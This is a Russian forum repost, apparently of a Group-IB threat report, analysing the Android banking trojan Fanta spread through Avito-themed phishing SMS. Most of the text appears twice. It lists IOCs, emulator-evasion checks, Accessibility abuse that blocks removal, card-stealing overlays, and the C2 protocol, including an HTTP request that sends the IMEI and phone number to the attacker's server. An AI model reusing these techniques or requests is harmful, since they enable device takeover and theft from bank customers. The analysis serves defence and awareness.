- Регистрация
- 11 Ноя 2019
- Сообщения
- 1,667
- Реакции
- 72
- Репутация
- 0
Однажды вы захотите продать что-нибудь на Avito и, выложив подробное описание своего товара (например, модуль оперативной памяти), получите вот такое сообщение:
Открыв ссылку, вы увидите с виду довольно безобидную страницу, уведомляющую вас, счастливого и успешного продавца, о совершении покупки:
После того, как вы нажали кнопку Продолжить, на ваше Android-устройство будет загружен APK-файл с иконкой и названием, внушающим доверие. Вы установили приложение, которое почему-то запросило права AccessibilityService, потом появились и быстро исчезли пара окон и… Все.
Вы заходите проверить свой баланс, но ваше банковское приложение почему-то снова запрашивает данные вашей карты. После ввода данных по какой-то пока еще непонятной для вас причине деньги начинают исчезать с вашего счета. Вы пытаетесь решить проблему, но ваш телефон сопротивляется: сам нажимает на клавиши "Назад" и "Домой", не выключается и не дает активировать никакие средства защиты. В итоге вы остаетесь без денег, ваш товар не куплен, вы в замешательстве и задаетесь вопросом: что случилось?
Ответ прост: вы стали жертвой Android-трояна Fanta, семейства Flexnet. Как же так вышло? Сейчас объясним.
Немного статистики
Впервые о семействе Android-троянов Flexnet стало известно еще в 2015 году. За достаточно долгий период активности семейство расширилось до нескольких подвидов: Fanta, Limebot, Lipton и т.д. Троян, как и связанная с ним инфраструктура, не стоят на месте: разрабатываются новые эффективные схемы распространения — в нашем случае качественные фишинговые страницы, нацеленные на конкретного пользователя-продавца, а разработчики трояна следуют модным трендам вирусописания — добавляют новые функциональные возможности, позволяющие эффективнее воровать деньги с зараженных устройств и обходить механизмы защиты.
Описываемая в данной статье кампания нацелена на пользователей из России, небольшое количество зараженных устройств зафиксировано на Украине, еще меньше в Казахстане и Беларуси.
Несмотря на то, что Flexnet находится на арене Android-троянов уже более 4 лет и подробно изучен многими исследователями, он все еще в хорошей форме. Начиная с января 2019 года потенциальная сумма ущерба составляет более 35 миллионов рублей — и это только по компаниям в России. В 2015 году различные версии данного Android-трояна продавались на андеграундных форумах, там же можно было найти и исходный код трояна с подробным описанием. А это значит, что статистика ущерба в мире еще внушительнее. Неплохой показатель для такого старичка, не так ли?
От продажи до обмана
Как видно из представленного ранее скриншота фишинговой страницы под Интернет-сервис для размещения объявлений Avito, она готовилась под конкретную жертву. Судя по всему, злоумышленники используют один из парсеров Avito, вытаскивающий телефонный номер и имя продавца, а также описание товара. После разворачивания страницы и подготовки APK-файла жертве отправляется СМС-сообщение с ее именем и ссылкой на фишинговую страницу, содержащую описание его товара и суммы, полученной с "продажи" товара. Нажав на кнопку, пользователь получает вредоносный APK-файл - Fanta.
Исследование домена shcet491[.]ru показало, что он делегирован на DNS-серверы компании Hostinger:
IP-адрес 178.132.1[.]240 расположен в Нидерландах и принадлежит хостеру WorldStream. IP-адреса 31.220.23[.]235, 31.220.23[.]236 и 31.220.23[.]243 расположены в Великобритании и принадлежат серверу виртуального хостинга HOSTINGER. В качестве регистратора используется openprov-ru. На IP-адрес 178.132.1[.]240 также резолвились домены:
http://(www.){0,1}<%domain%>/[0-9]{7}
Под данный шаблон также попадает ссылка из СМС-сообщения. По историческим данным было обнаружено, что одному домену соответствует несколько ссылок по вышеописанному шаблону, что говорит об использовании одного домена для распространения трояна нескольким жертвам.
Забежим немного вперед: в качестве управляющего сервера загруженный по ссылке из СМС троян использует адрес onuseseddohap[.]club. Данный домен был зарегистрирован 2019-03-12, и начиная с 2019-04-29 происходило взаимодействие APK-приложений с данным доменом. Опираясь на данные, полученные с VirusTotal, всего с данным сервером взаимодействовало 109 приложений. Сам домен резолвился на IP-адрес 217.23.14[.]27, расположенный в Нидерландах и принадлежащий хостеру WorldStream. В качестве регистратора используется namecheap. На данный IP-адрес также резолвились домены bad-racoon[.]club (начиная с 2018-09-25) и bad-racoon[.]live (начиная с 2018-10-25). С доменом bad-racoon[.]club взаимодействовало более 80 APK-файлов, с bad-racoon[.]live - более 100.
В целом, ход атаки выглядит следующим образом:
Что у Fanta под крышкой?
Как и многие другие андроид-трояны, Fanta способна читать и отправлять СМС-сообщения, совершать USSD-запросы, демонстрировать собственные окна поверх приложений (в том числе банковских). Однако в арсенале функциональных возможностей данного семейства прибыло: Fanta начала использовать AccessibilityService для разных целей: чтение содержимого уведомлений других приложений, предотвращение обнаружения и остановки исполнения трояна на зараженном устройстве и т.д. Fanta работает на всех версиях Android не моложе 4.4. В данной статье мы подробнее рассмотрим следующий Fanta-семпл:
Непосредственно после запуска троян скрывает свою иконку. Работа приложения возможна только в том случае, если имя зараженного устройства не находится в списке:
Если во время отправления запроса возникла ошибка, троян повторит процесс регистрации через 20 секунд.
После успешной регистрации устройства Fanta выведет пользователю следующее сообщение:
Важное замечание: сервис под названием Безопасность системы - наименование сервиса трояна, и после нажатия на кнопку ОК будет открыто окно с настройками Accessibility зараженного устройства, где пользователь должен сам выдать Accessibility-права для вредоносного сервиса:
Как только пользователь включает AccessibilityService, Fanta получает доступ к содержимому окон приложений и действиям, производимым в них:
Сразу после получения Accessibility-прав троян запрашивает права администратора и права на чтение уведомлений:
При помощи AccessibilityService приложение имитирует нажатия клавиш, тем самым выдавая себе все необходимые права.
Fanta создает несколько экземпляров баз данных (которые будут описаны позже), необходимых для сохранения конфигурационных данных, а также собранной в процессе информации о зараженном устройстве. Для отправления собранной информации троян создает повторяющуюся задачу, предназначенную для выгрузки полей из базы данных и получения команды от управляющего сервера. Интервал обращения к CnC устанавливается в зависимости от версии Android: в случае 5.1 интервал составит 10 секунд, иначе 60 секунд.
Взаимодействие с базами данных
В процессе своей работы троян использует две базы данных. База данных с именем aиспользуется для хранения различной информации, собранной с телефона. Вторая база данных носит имя fanta.db и используется для сохранения настроек, отвечающих за создание фишинговых окон, предназначенных для сбора информации о банковских картах.
Троян использует базу данных а для хранения собираемой информации и логирования своих действий. Данные хранятся в таблице logs. Для создания таблицы используется следующий SQL-запрос:
create table logs ( _id integer primary key autoincrement, d TEXT, f TEXT, p TEXT, m integer)
В базе данных содержится следующая информация:
3. Данные банковских карт из создаваемых трояном фишинговых форм. Параметр VIEW_NAME может быть одним из списка, например:
[<%Time in format HH:mm:ss dd.MM.yyyy%>](<%VIEW_NAME%>) Номер карты:<%CARD_NUMBER%>; Дата:<%MONTH%>/<%YEAR%>; CVV: <%CVV%>
4. Входящие/Исходящие СМС сообщения в формате:
([<%Time in format HH:mm:ss dd.MM.yyyy%>] Тип: Входящее/Исходящее) <%Mobile number%>:<%SMS-text%>
5. Информация о пакете, создающем диалоговое окно в формате:
(<%Package name%>)<%Package information%>
Одной из функциональных возможностей Fanta является сбор информации о банковских картах. Сбор данных происходит за счет создания фишинговых окон при открытии банковских приложений. Троян создает фишинговое окно только один раз. Информация, о том, что окно было показано пользователю сохраняется в таблице settings в базе данных fanta.db. Для создания базы данных используется следующий SQL-запрос:
create table settings (can_login integer, first_bank integer, can_alpha integer, can_avito integer, can_ali integer, can_vtb24 integer, can_telecard integer, can_another integer, can_card integer);
Все поля таблицы settings по умолчанию инициализируются значением 1 (создать фишинговое окно). После того, как пользователь введет свои данные, значение будет установлено в 0. Пример полей таблицы settings:
Сетевое взаимодействие с управляющим сервером происходит по протоколу HTTP. Для работы с сетью Fanta использует популярную библиотеку Retrofit. Запросы отправляются по адресу hXXp://onuseseddohap[.]club/controllet.php. Адрес сервера может быть изменен при регистрации на сервере. В ответ от сервера могут прийти cookie. Fanta выполняет следующие запросы на сервер:
POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0
mode=register_bot&prefix=2&version_sdk=<%VERSION_SDK%>&imei=<%IMEI%>&country=<%COUNTRY_ISO%>&number=<%TEL_NUMBER%>&operator=<%OPERATOR_NAME%>
В ответ на запрос сервер должен вернуть JSON-объект, содержащий следующие параметры:
- Команда Отправить СМС-сообщение: В параметрах содержится номер телефона, текст СМС-сообщения и идентификатор отправляемого сообщения. Идентификатор используется при отправке сообщения на сервер с типом setSmsStatus.
- Команда Выполнить телефонный звонок или USSD-команду: Номер телефона или команда приходит в теле ответа.
- Команда Изменить параметр interval.
- Команда Изменить параметр intercept.
- Команда Изменить поле SmsManager.
- Команда Выполнить сбор СМС-сообщений с зараженного устройства.
- Команда Сбросить телефон до заводских настроек.
- Команда Изменить параметр ReadDialog.
- Отправка сообщения с типом setSmsStatus. Данный запрос осуществляется после исполнения команды Отправить СМС-сообщение.
- Отправка содержимого базы данных. За один запрос передается одна строка. На сервер отправляются следующие данные:
Взаимодействие с AccessibilityService
AccessibilityService был реализован для облегчения использования Android-устройств людьми с ограниченными возможностями. В большинстве случаев для взаимодействия с приложением необходимо физическое взаимодействие. AccessibilityService позволяет сделать это программно. Fanta использует сервис для создания поддельных окон в банковских приложениях и препятствия открытию настроек системы и некоторых приложений.
Используя функциональные возможности AccessibilityService, троян отслеживает изменения элементов на экране зараженного устройства. Как уже было ранее описано, в настройках Fanta содержится параметр, отвечающий за логирование операций с диалоговыми окнами - readDialog. Если данный параметр установлен, в базу данных будет добавлена информация о названии и описании пакета, который инициировал событие. Троян выполняет следующие действия при срабатывании событий:
Fanta анализирует, какие приложения запускаются на зараженном устройстве. Если было открыто интересующее приложение, троян демонстрирует фишинговое окно, которое представляет собой форму для ввода информации о банковской карте, поверх всех остальных. Пользователю необходимо ввести следующие данные:
Aliexpress:
Avito:
Для других приложений (Google Play Market, Aviasales, Pandao, Booking, Trivago и т.д.):
Как все было на самом деле
К счастью, человек из данной статьи, получивший СМС-сообщение, оказался специалистом в области кибербезопасности. Поэтому реальная, не режиссерская версия отличается от рассказанной ранее: человек получил интересное SMS, после чего отдал его команде Group-IB Threat Hunting Intelligence. Результат атаки - данная статья. Счастливая концовка, не так ли? Однако, далеко не все истории заканчиваются так удачно, и чтобы ваша не была похожа на режиссерскую версию с потерей денег - в большинстве случаев достаточно придерживаться следующих, давно описанных правил:
И последний важный момент, связанный с противодействием банковским троянам семейства Flexnet. Использование «материнского» продукта c расширенными возможностями Secure Bank Mobile SDK в сумме дает надежный инструмент для кросс-канального анализа и корреляции данных о поведении пользователя при работе на различных устройствах (смартфон, планшет, ноутбук, ПК) через любые каналы взаимодействия с банком (мобильное приложение, онлайн-банкинг и др). Использование алгоритмов машинного обучения и продвинутого конструктора правил предотвратит мошенничество на этапе подготовки, детектируя подозрительные действия мошенника, выдающего себя за реального клиента.
Открыв ссылку, вы увидите с виду довольно безобидную страницу, уведомляющую вас, счастливого и успешного продавца, о совершении покупки:
После того, как вы нажали кнопку Продолжить, на ваше Android-устройство будет загружен APK-файл с иконкой и названием, внушающим доверие. Вы установили приложение, которое почему-то запросило права AccessibilityService, потом появились и быстро исчезли пара окон и… Все.
Вы заходите проверить свой баланс, но ваше банковское приложение почему-то снова запрашивает данные вашей карты. После ввода данных по какой-то пока еще непонятной для вас причине деньги начинают исчезать с вашего счета. Вы пытаетесь решить проблему, но ваш телефон сопротивляется: сам нажимает на клавиши "Назад" и "Домой", не выключается и не дает активировать никакие средства защиты. В итоге вы остаетесь без денег, ваш товар не куплен, вы в замешательстве и задаетесь вопросом: что случилось?
Ответ прост: вы стали жертвой Android-трояна Fanta, семейства Flexnet. Как же так вышло? Сейчас объясним.
Немного статистики
Впервые о семействе Android-троянов Flexnet стало известно еще в 2015 году. За достаточно долгий период активности семейство расширилось до нескольких подвидов: Fanta, Limebot, Lipton и т.д. Троян, как и связанная с ним инфраструктура, не стоят на месте: разрабатываются новые эффективные схемы распространения — в нашем случае качественные фишинговые страницы, нацеленные на конкретного пользователя-продавца, а разработчики трояна следуют модным трендам вирусописания — добавляют новые функциональные возможности, позволяющие эффективнее воровать деньги с зараженных устройств и обходить механизмы защиты.
Описываемая в данной статье кампания нацелена на пользователей из России, небольшое количество зараженных устройств зафиксировано на Украине, еще меньше в Казахстане и Беларуси.
Несмотря на то, что Flexnet находится на арене Android-троянов уже более 4 лет и подробно изучен многими исследователями, он все еще в хорошей форме. Начиная с января 2019 года потенциальная сумма ущерба составляет более 35 миллионов рублей — и это только по компаниям в России. В 2015 году различные версии данного Android-трояна продавались на андеграундных форумах, там же можно было найти и исходный код трояна с подробным описанием. А это значит, что статистика ущерба в мире еще внушительнее. Неплохой показатель для такого старичка, не так ли?
От продажи до обмана
Как видно из представленного ранее скриншота фишинговой страницы под Интернет-сервис для размещения объявлений Avito, она готовилась под конкретную жертву. Судя по всему, злоумышленники используют один из парсеров Avito, вытаскивающий телефонный номер и имя продавца, а также описание товара. После разворачивания страницы и подготовки APK-файла жертве отправляется СМС-сообщение с ее именем и ссылкой на фишинговую страницу, содержащую описание его товара и суммы, полученной с "продажи" товара. Нажав на кнопку, пользователь получает вредоносный APK-файл - Fanta.
Исследование домена shcet491[.]ru показало, что он делегирован на DNS-серверы компании Hostinger:
- ns1.hostinger.ru
- ns2.hostinger.ru
- ns3.hostinger.ru
- ns4.hostinger.ru
IP-адрес 178.132.1[.]240 расположен в Нидерландах и принадлежит хостеру WorldStream. IP-адреса 31.220.23[.]235, 31.220.23[.]236 и 31.220.23[.]243 расположены в Великобритании и принадлежат серверу виртуального хостинга HOSTINGER. В качестве регистратора используется openprov-ru. На IP-адрес 178.132.1[.]240 также резолвились домены:
- sdelka-ru[.]ru
- tovar-av[.]ru
- av-tovar[.]ru
- ru-sdelka[.]ru
- shcet382[.]ru
- sdelka221[.]ru
- sdelka211[.]ru
- vyplata437[.]ru
- viplata291[.]ru
- perevod273[.]ru
- perevod901[.]ru
http://(www.){0,1}<%domain%>/[0-9]{7}
Под данный шаблон также попадает ссылка из СМС-сообщения. По историческим данным было обнаружено, что одному домену соответствует несколько ссылок по вышеописанному шаблону, что говорит об использовании одного домена для распространения трояна нескольким жертвам.
Забежим немного вперед: в качестве управляющего сервера загруженный по ссылке из СМС троян использует адрес onuseseddohap[.]club. Данный домен был зарегистрирован 2019-03-12, и начиная с 2019-04-29 происходило взаимодействие APK-приложений с данным доменом. Опираясь на данные, полученные с VirusTotal, всего с данным сервером взаимодействовало 109 приложений. Сам домен резолвился на IP-адрес 217.23.14[.]27, расположенный в Нидерландах и принадлежащий хостеру WorldStream. В качестве регистратора используется namecheap. На данный IP-адрес также резолвились домены bad-racoon[.]club (начиная с 2018-09-25) и bad-racoon[.]live (начиная с 2018-10-25). С доменом bad-racoon[.]club взаимодействовало более 80 APK-файлов, с bad-racoon[.]live - более 100.
В целом, ход атаки выглядит следующим образом:
Что у Fanta под крышкой?
Как и многие другие андроид-трояны, Fanta способна читать и отправлять СМС-сообщения, совершать USSD-запросы, демонстрировать собственные окна поверх приложений (в том числе банковских). Однако в арсенале функциональных возможностей данного семейства прибыло: Fanta начала использовать AccessibilityService для разных целей: чтение содержимого уведомлений других приложений, предотвращение обнаружения и остановки исполнения трояна на зараженном устройстве и т.д. Fanta работает на всех версиях Android не моложе 4.4. В данной статье мы подробнее рассмотрим следующий Fanta-семпл:
- MD5: 0826bd11b2c130c4c8ac137e395ac2d4
- SHA1: ac33d38d486ee4859aa21b9aeba5e6e11404bcc8
- SHA256: df57b7e7ac6913ea5f4daad319e02db1f4a6b243f2ea6500f83060648da6edfb
Непосредственно после запуска троян скрывает свою иконку. Работа приложения возможна только в том случае, если имя зараженного устройства не находится в списке:
- android_x86
- VirtualBox
- Nexus 5X(bullhead)
- Nexus 5(razor)
Если во время отправления запроса возникла ошибка, троян повторит процесс регистрации через 20 секунд.
После успешной регистрации устройства Fanta выведет пользователю следующее сообщение:
Важное замечание: сервис под названием Безопасность системы - наименование сервиса трояна, и после нажатия на кнопку ОК будет открыто окно с настройками Accessibility зараженного устройства, где пользователь должен сам выдать Accessibility-права для вредоносного сервиса:
Как только пользователь включает AccessibilityService, Fanta получает доступ к содержимому окон приложений и действиям, производимым в них:
Сразу после получения Accessibility-прав троян запрашивает права администратора и права на чтение уведомлений:
При помощи AccessibilityService приложение имитирует нажатия клавиш, тем самым выдавая себе все необходимые права.
Fanta создает несколько экземпляров баз данных (которые будут описаны позже), необходимых для сохранения конфигурационных данных, а также собранной в процессе информации о зараженном устройстве. Для отправления собранной информации троян создает повторяющуюся задачу, предназначенную для выгрузки полей из базы данных и получения команды от управляющего сервера. Интервал обращения к CnC устанавливается в зависимости от версии Android: в случае 5.1 интервал составит 10 секунд, иначе 60 секунд.
Взаимодействие с базами данных
В процессе своей работы троян использует две базы данных. База данных с именем aиспользуется для хранения различной информации, собранной с телефона. Вторая база данных носит имя fanta.db и используется для сохранения настроек, отвечающих за создание фишинговых окон, предназначенных для сбора информации о банковских картах.
Троян использует базу данных а для хранения собираемой информации и логирования своих действий. Данные хранятся в таблице logs. Для создания таблицы используется следующий SQL-запрос:
create table logs ( _id integer primary key autoincrement, d TEXT, f TEXT, p TEXT, m integer)
В базе данных содержится следующая информация:
- Логирование включения зараженного устройства сообщением Телефон включился!
- Уведомления от приложений. Сообщение формируется по следующему шаблону:
3. Данные банковских карт из создаваемых трояном фишинговых форм. Параметр VIEW_NAME может быть одним из списка, например:
- AliExpress
- Avito
- Google Play
- Разное <%App Name%>
[<%Time in format HH:mm:ss dd.MM.yyyy%>](<%VIEW_NAME%>) Номер карты:<%CARD_NUMBER%>; Дата:<%MONTH%>/<%YEAR%>; CVV: <%CVV%>
4. Входящие/Исходящие СМС сообщения в формате:
([<%Time in format HH:mm:ss dd.MM.yyyy%>] Тип: Входящее/Исходящее) <%Mobile number%>:<%SMS-text%>
5. Информация о пакете, создающем диалоговое окно в формате:
(<%Package name%>)<%Package information%>
Одной из функциональных возможностей Fanta является сбор информации о банковских картах. Сбор данных происходит за счет создания фишинговых окон при открытии банковских приложений. Троян создает фишинговое окно только один раз. Информация, о том, что окно было показано пользователю сохраняется в таблице settings в базе данных fanta.db. Для создания базы данных используется следующий SQL-запрос:
create table settings (can_login integer, first_bank integer, can_alpha integer, can_avito integer, can_ali integer, can_vtb24 integer, can_telecard integer, can_another integer, can_card integer);
Все поля таблицы settings по умолчанию инициализируются значением 1 (создать фишинговое окно). После того, как пользователь введет свои данные, значение будет установлено в 0. Пример полей таблицы settings:
- first_bank – не используется
- can_avito – поле отвечает за показ формы при открытии приложения Avito
- can_ali – поле отвечает за показ формы при открытии приложения Aliexpress
- can_another – поле отвечает за показ формы при открытии любого приложения из списка: Юла, Pandao, Дром Авто, Кошелёк. Скидочные и бонусные карты, Aviasales, Booking, Trivago.
- can_card – поле отвечает за показ формы при открытии Google Play
Сетевое взаимодействие с управляющим сервером происходит по протоколу HTTP. Для работы с сетью Fanta использует популярную библиотеку Retrofit. Запросы отправляются по адресу hXXp://onuseseddohap[.]club/controllet.php. Адрес сервера может быть изменен при регистрации на сервере. В ответ от сервера могут прийти cookie. Fanta выполняет следующие запросы на сервер:
- Регистрация бота на управляющем сервере происходит один раз при первом запуске. На сервер отправляются следующие данные о зараженном устройстве:
- Cookie – полученные cookie от сервера (значение по умолчанию - пустая строка)
- mode – строковая константа register_bot
- prefix – целочисленная константа 2
- version_sdk – формируется по следующему шаблону: <%Build.MODEL%>/<%Build.VERSION.RELEASE%>(Avit)
- imei – IMEI зараженного устройства
- country – код страны в которой зарегистрирован оператор в формате ISO
- number – номер телефона
- operator – имя оператора
POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0
mode=register_bot&prefix=2&version_sdk=<%VERSION_SDK%>&imei=<%IMEI%>&country=<%COUNTRY_ISO%>&number=<%TEL_NUMBER%>&operator=<%OPERATOR_NAME%>
В ответ на запрос сервер должен вернуть JSON-объект, содержащий следующие параметры:
- bot_id – идентификатор зараженного устройства. В случае если bot_id будет равен 0, Fanta повторно выполнит запрос
- bot_pwd – пароль для сервера
- server – адрес управляющего сервера. Необязательный параметр. В случае если параметр не указан, будет использован адрес, сохраненный в приложении.
- Запрос на получение команды от сервера. На сервер отправляются следующие данные:
- Cookie – полученные cookie от сервера
- bid – id зараженного устройства, который был получен при отправке запроса register_bot
- pwd – пароль для сервера
- divice_admin – поле определяет, были ли получены права администратора. Если права администратора были получены, поле равно 1, иначе 0
- Accessibility – статус работы Accessibility Service. Если служба была запущена, значение равно 1, иначе 0
- SMSManager – показывает включен ли троян, как приложение по умолчанию для получения СМС
- screen – отображает в каком состоянии находится экран. Будет установлено значение 1, если экран включен, иначе 0
- Cookie – полученные cookie от сервера
- Команда Отправить СМС-сообщение: В параметрах содержится номер телефона, текст СМС-сообщения и идентификатор отправляемого сообщения. Идентификатор используется при отправке сообщения на сервер с типом setSmsStatus.
- Команда Выполнить телефонный звонок или USSD-команду: Номер телефона или команда приходит в теле ответа.
- Команда Изменить параметр interval.
- Команда Изменить параметр intercept.
- Команда Изменить поле SmsManager.
- Команда Выполнить сбор СМС-сообщений с зараженного устройства.
- Команда Сбросить телефон до заводских настроек.
- Команда Изменить параметр ReadDialog.
- Отправка сообщения с типом setSmsStatus. Данный запрос осуществляется после исполнения команды Отправить СМС-сообщение.
- Отправка содержимого базы данных. За один запрос передается одна строка. На сервер отправляются следующие данные:
- Cookie – полученные cookie от сервера
- mode – строковая константа setSaveInboxSms
- bid – id зараженного устройства, которое было получено при отправке запроса register_bot
- text – текст в текущей записи БД (поле d из таблицы logs в базе данных а)
- number – наименование текущей записи БД (поле p из таблицы logs в базе данных а)
- sms_mode – целочисленное значение (поле m из таблицы logs в базе данных а)
Взаимодействие с AccessibilityService
AccessibilityService был реализован для облегчения использования Android-устройств людьми с ограниченными возможностями. В большинстве случаев для взаимодействия с приложением необходимо физическое взаимодействие. AccessibilityService позволяет сделать это программно. Fanta использует сервис для создания поддельных окон в банковских приложениях и препятствия открытию настроек системы и некоторых приложений.
Используя функциональные возможности AccessibilityService, троян отслеживает изменения элементов на экране зараженного устройства. Как уже было ранее описано, в настройках Fanta содержится параметр, отвечающий за логирование операций с диалоговыми окнами - readDialog. Если данный параметр установлен, в базу данных будет добавлена информация о названии и описании пакета, который инициировал событие. Троян выполняет следующие действия при срабатывании событий:
- Имитирует нажатие клавиш назад и домой в случае:
- Если пользователь хочет перезагрузить свое устройство
- Если пользователь хочет удалить приложение "Avito" или изменить права доступа
- Если на странице есть упоминание о приложении "Avito"
- При открытии приложения "Google Play Защита"
- При открытии страниц с настройками AccessibilityService
- При возникновении диалогового окна "Безопасность системы"
- При открытии страницы с настройками "Draw over other app"
- При открытии страницы «Приложения», «Восстановление и сброс», «Сброс данных», «Сброс настроек», «Панель разработчиков», «Спец. возможности», «Специальные возможности», «Особые права»
- Если пользователь хочет перезагрузить свое устройство
Fanta анализирует, какие приложения запускаются на зараженном устройстве. Если было открыто интересующее приложение, троян демонстрирует фишинговое окно, которое представляет собой форму для ввода информации о банковской карте, поверх всех остальных. Пользователю необходимо ввести следующие данные:
- Номер карты
- Срок действия карты
- CVV
- Имя держателя карты (не для всех банков)
Aliexpress:
Avito:
Для других приложений (Google Play Market, Aviasales, Pandao, Booking, Trivago и т.д.):
Как все было на самом деле
К счастью, человек из данной статьи, получивший СМС-сообщение, оказался специалистом в области кибербезопасности. Поэтому реальная, не режиссерская версия отличается от рассказанной ранее: человек получил интересное SMS, после чего отдал его команде Group-IB Threat Hunting Intelligence. Результат атаки - данная статья. Счастливая концовка, не так ли? Однако, далеко не все истории заканчиваются так удачно, и чтобы ваша не была похожа на режиссерскую версию с потерей денег - в большинстве случаев достаточно придерживаться следующих, давно описанных правил:
- не устанавливать приложения для мобильного устройства с ОС Android из каких-либо источников, кроме Google Play
- при установке приложения обращать особое внимание на запрашиваемые приложением права
- регулярно устанавливать обновления ОС Android
- обращать внимание на расширения загружаемых файлов
- не посещать подозрительные ресурсы
- не переходить по ссылкам, полученным в SMS-сообщениях.
И последний важный момент, связанный с противодействием банковским троянам семейства Flexnet. Использование «материнского» продукта c расширенными возможностями Secure Bank Mobile SDK в сумме дает надежный инструмент для кросс-канального анализа и корреляции данных о поведении пользователя при работе на различных устройствах (смартфон, планшет, ноутбук, ПК) через любые каналы взаимодействия с банком (мобильное приложение, онлайн-банкинг и др). Использование алгоритмов машинного обучения и продвинутого конструктора правил предотвратит мошенничество на этапе подготовки, детектируя подозрительные действия мошенника, выдающего себя за реального клиента.